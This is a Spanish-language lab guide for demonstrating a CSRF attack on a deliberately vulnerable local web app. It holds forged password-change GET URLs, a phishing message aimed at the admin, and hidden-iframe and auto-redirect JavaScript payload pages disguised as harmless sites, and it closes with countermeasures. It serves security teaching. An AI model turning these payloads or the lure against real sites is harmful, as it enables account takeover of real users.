# 🎓 Guía Paso a Paso: Testing CSRF via Web

---

## PREPARACIÓN INICIAL

### Paso 1: Iniciar la Aplicación

cd tu_directorio_del_proyecto
python xxx.py

**Verificación:**

- ✅ Debes ver el mensaje: "Servidor iniciado en: http://localhost:5000"
- ✅ La aplicación debe estar corriendo sin errores

### Paso 2: Abrir Navegadores

**Recomendación:** Usa dos navegadores diferentes o ventanas incógnito para simular usuarios distintos:

- **Firefox**: Para el atacante (superuser)
- **Chrome**: Para la víctima (tyler)

---

# 🎯 FASE 1: RECONOCIMIENTO Y ANÁLISIS

### Paso 3: Explorar la Aplicación

1. **Abre** `http://localhost:5000` en Firefox
2. **Observa** la página de login
3. **Revisa** los usuarios disponibles:
    - `superuser / 123123` (usuario normal)
    - `tyler / admin123` (administrador)

### Paso 4: Registro Opcional (Si quieres probar)

1. **Click** en "¿No tienes cuenta? Regístrate aquí"
2. **Registra** un usuario de prueba:
    - Usuario: `atacante`
    - Contraseña: `test123`
    - Confirmar: `test123`
3. **Click** "Registrarse"

---

# 🔐 FASE 2: INICIO DE SESIÓN DEL ATACANTE

### Paso 5: Login como Atacante

1. **En Firefox**, ve a `http://localhost:5000`
2. **Introduce credenciales:**
    - Usuario: `superuser`
    - Contraseña: `123123`
3. **Click** "Iniciar Sesión"

**Verificación:**

- ✅ Debes ver el dashboard con mensaje de bienvenida
- ✅ La barra de navegación debe mostrar las opciones del usuario
- ✅ Tu sesión debe aparecer en la esquina superior

### Paso 6: Explorar el Dashboard

1. **Lee** la información del escenario CSRF
2. **Observa** las estadísticas mostradas
3. **Nota** la advertencia de vulnerabilidad CSRF

---

# 🔍 FASE 3: ANÁLISIS DE LA VULNERABILIDAD

## Paso 7: Ir a Cambiar Contraseña

1. **Click** en "Cambiar Contraseña" en la navegación
2. **Lee** la advertencia de vulnerabilidad
3. **Observa** el formulario de cambio de contraseña

## Paso 8: Abrir Herramientas de Desarrollador

1. **Presiona** `F12` o `Ctrl+Shift+I` (Firefox)
2. **Ve** a la pestaña "Network" (Red)
3. **Marca** "Preserve log" para mantener el historial

## Paso 9: Intentar Cambio Normal (POST)

1. **Completa el formulario:**
    - Contraseña actual: `123123`
    - Nueva contraseña: `nuevapass123`
    - Confirmar: `nuevapass123`
2. **Click** "Cambiar Contraseña"

**Verificación en DevTools:**

- ✅ Debes ver una petición POST a `/change_password`
- ✅ Los datos deben estar en el cuerpo de la petición
- ✅ La contraseña debe cambiar exitosamente

---

# 🛠️ FASE 4: SIMULACIÓN DE ZAP (MANUAL)

## Paso 10: Construir URL GET Manualmente

**Abre una nueva pestaña** y construye la URL maliciosa:

http://localhost:5000/change_password?old_password=nuevapass123&new_password=experimento123&confirm_password=experimento123

### Paso 11: Probar URL GET Vulnerable

1. **Pega** la URL completa en la barra de direcciones
2. **Presiona** Enter
3. **Observa** el resultado

**Verificación:**

- ✅ La contraseña debe cambiar a `experimento123`
- ✅ Debe aparecer mensaje "Contraseña cambiada exitosamente! (método: GET)"
- ✅ Debe aparecer advertencia "ATAQUE CSRF DETECTADO"

### Paso 12: Verificar el Cambio

1. **Click** "Cerrar Sesión"
2. **Intenta** login con:
    - Usuario: `superuser`
    - Contraseña: `experimento123`
3. **Debes** poder iniciar sesión exitosamente

---

## 📧 FASE 5: PREPARACIÓN DEL ATAQUE CONTRA ADMIN

### Paso 13: Construir URL Maliciosa para Admin

**URL objetivo:**

http://localhost:5000/change_password?old_password=admin123&new_password=pwned123&confirm_password=pwned123

### Paso 14: Enviar Mensaje Malicioso

1. **Ve** a "Contacto" en la navegación
2. **Completa el formulario:**
    - **Asunto:** `Verificación urgente de seguridad`

**Mensaje:**
Estimado administrador,Hemos detectado actividad sospechosa en su cuenta.Por favor verifique su información haciendo clic aquí:http://localhost:5000/change_password?old_password=admin123&new_password=pwned123&confirm_password=pwned123Atentamente,Equipo de Seguridad

    -
3. **Click** "Enviar Mensaje"

**Verificación:**

- ✅ Debe aparecer "Mensaje enviado al administrador"
- ✅ El mensaje debe aparecer en la lista de mensajes enviados

---

# 🎯 FASE 6: SIMULACIÓN DEL ATAQUE

## Paso 15: Simular Administrador Haciendo Click

1. **Abre Chrome** (nuevo navegador para simular admin)
2. **Ve** a `http://localhost:5000`
3. **Inicia sesión** como admin:
    - Usuario: `tyler`
    - Contraseña: `admin123`

## Paso 16: Admin "Hace Click" en el Enlace

**En Chrome** (como tyler), **pega** la URL maliciosa:

http://localhost:5000/change_password?old_password=admin123&new_password=pwned123&confirm_password=pwned123

1. 
2. **Presiona** Enter

**Verificación:**

- ✅ Debe aparecer mensaje de contraseña cambiada
- ✅ Debe mostrar "método: GET"
- ✅ Debe aparecer advertencia de CSRF detectado

---

# 🏁 FASE 7: VERIFICACIÓN DEL ATAQUE EXITOSO

## Paso 17: Confirmar Compromiso de Admin

1. **En Chrome**, **cierra sesión** del admin
2. **Intenta** login con credenciales comprometidas:
    - Usuario: `tyler`
    - Contraseña: `pwned123`
3. **Debes** poder acceder exitosamente

## Paso 18: Verificar Acceso de Admin

1. **Ve** a "Admin Panel"
2. **Verifica** que tienes acceso completo
3. **Observa** la tabla de usuarios y sus hashes de contraseña

---

# 📊 FASE 8: ANÁLISIS Y LOGS

## Paso 19: Revisar Logs de Ataque

1. **Ve** a "Logs" en la navegación
2. **Filtra** por peticiones GET
3. **Busca** las entradas de `/change_password`

**Qué buscar:**

- ✅ Peticiones POST normales
- ✅ Peticiones GET maliciosas
- ✅ Entries marcadas como `PASSWORD_CHANGE`
- ✅ Campo `csrf_vulnerable: YES`

## Paso 20: Análisis Completo

**Revisa en los logs:**

- Timestamps de los ataques
- IPs involucradas
- User-Agents de los navegadores
- Métodos utilizados (POST vs GET)
- Usuarios afectados

---

# 🎓 FASE 9: EXPERIMENTOS ADICIONALES

## Paso 21: Probar Variaciones del Ataque

**Ataque con iframe oculto:**

1. **Crea** un archivo HTML (`ataque.html`):

```
<!DOCTYPE html>
<html>
<head><title>Página Inocente</title></head>
<body>
    <h1>Contenido Normal</h1>
    <p>Esta página parece normal...</p>

    <!-- Ataque CSRF oculto -->
    <iframe width="1" height="1" style="border:none;"

src="http://localhost:5000/change_password?old_password=pwned123&new_password=sigiloso123&confirm_password=sigiloso123">
    </iframe>
</body>
</html>
```

2. **Abre** este archivo mientras estás logueado como admin
3. **Verifica** si la contraseña cambió automáticamente

## Paso 22: Probar con JavaScript Automático

**Crea** `ataque_js.html`:

```
<!DOCTYPE html>
<html>
<head><title>Ganaste un Premio!</title></head>
<body>
    <h1>🎁 ¡Felicidades!</h1>
    <p>Procesando tu premio...</p>

    <script>
        // Ataque automático después de 3 segundos
        setTimeout(() => {
            window.location =
'http://localhost:5000/change_password?old_password=sigiloso123&new_password=javascript123&confirm_password=javascript123';
        }, 3000);
    </script>
</body>
```

</html>

---

# 📋 CHECKLIST DE VERIFICACIÓN

## ✅ Ataques Exitosos Demostrados:

- [ ] Cambio POST normal funcionando
- [ ] Cambio GET manual exitoso
- [ ] URL maliciosa construida correctamente
- [ ] Mensaje de phishing enviado
- [ ] Admin comprometido via enlace
- [ ] Login con credenciales comprometidas
- [ ] Acceso a panel de admin obtenido
- [ ] Logs mostrando el ataque
- [ ] Ataque con iframe probado
- [ ] Ataque con JavaScript probado

## ✅ Evidencias Recolectadas:

- [ ] Screenshots del proceso
- [ ] Logs de las peticiones HTTP
- [ ] Diferencias entre POST y GET
- [ ] Mensajes de confirmación
- [ ] Acceso a funciones de admin

---

# 🛡️ FASE 10: CONTRAMEDIDAS (OPCIONAL)

## Paso 23: Analizar Prevención

1. **Revisa** el código fuente de la aplicación
2. **Identifica** por qué el ataque funciona:
    - No hay tokens CSRF
    - Se aceptan métodos GET y POST
    - No se valida el origen de la petición
    - No hay confirmación adicional

## Paso 24: Proponer Soluciones

**Discute** estas contramedidas:

- Implementar tokens CSRF
- Rechazar peticiones GET para acciones sensibles
- Validar headers Referer/Origin
- Requerer re-autenticación para cambios críticos
- Usar cookies SameSite
- Implementar rate limiting

---

# 📝 REPORTE FINAL

## Información a Documentar:

1. **Vulnerabilidad encontrada:** CSRF en endpoint de cambio de contraseña
2. **Métodos de explotación:** URL maliciosa vía GET
3. **Impacto:** Compromiso completo de cuentas de usuario
4. **Evidencias:** Logs, screenshots, demos
5. **Recomendaciones:** Lista de contramedidas

## Conclusiones Académicas:

- Los ataques CSRF pueden ser devastadores
- La ingeniería social es clave para el éxito
- Las aplicaciones deben validar origen y método
- Los tokens CSRF son esenciales para la seguridad

---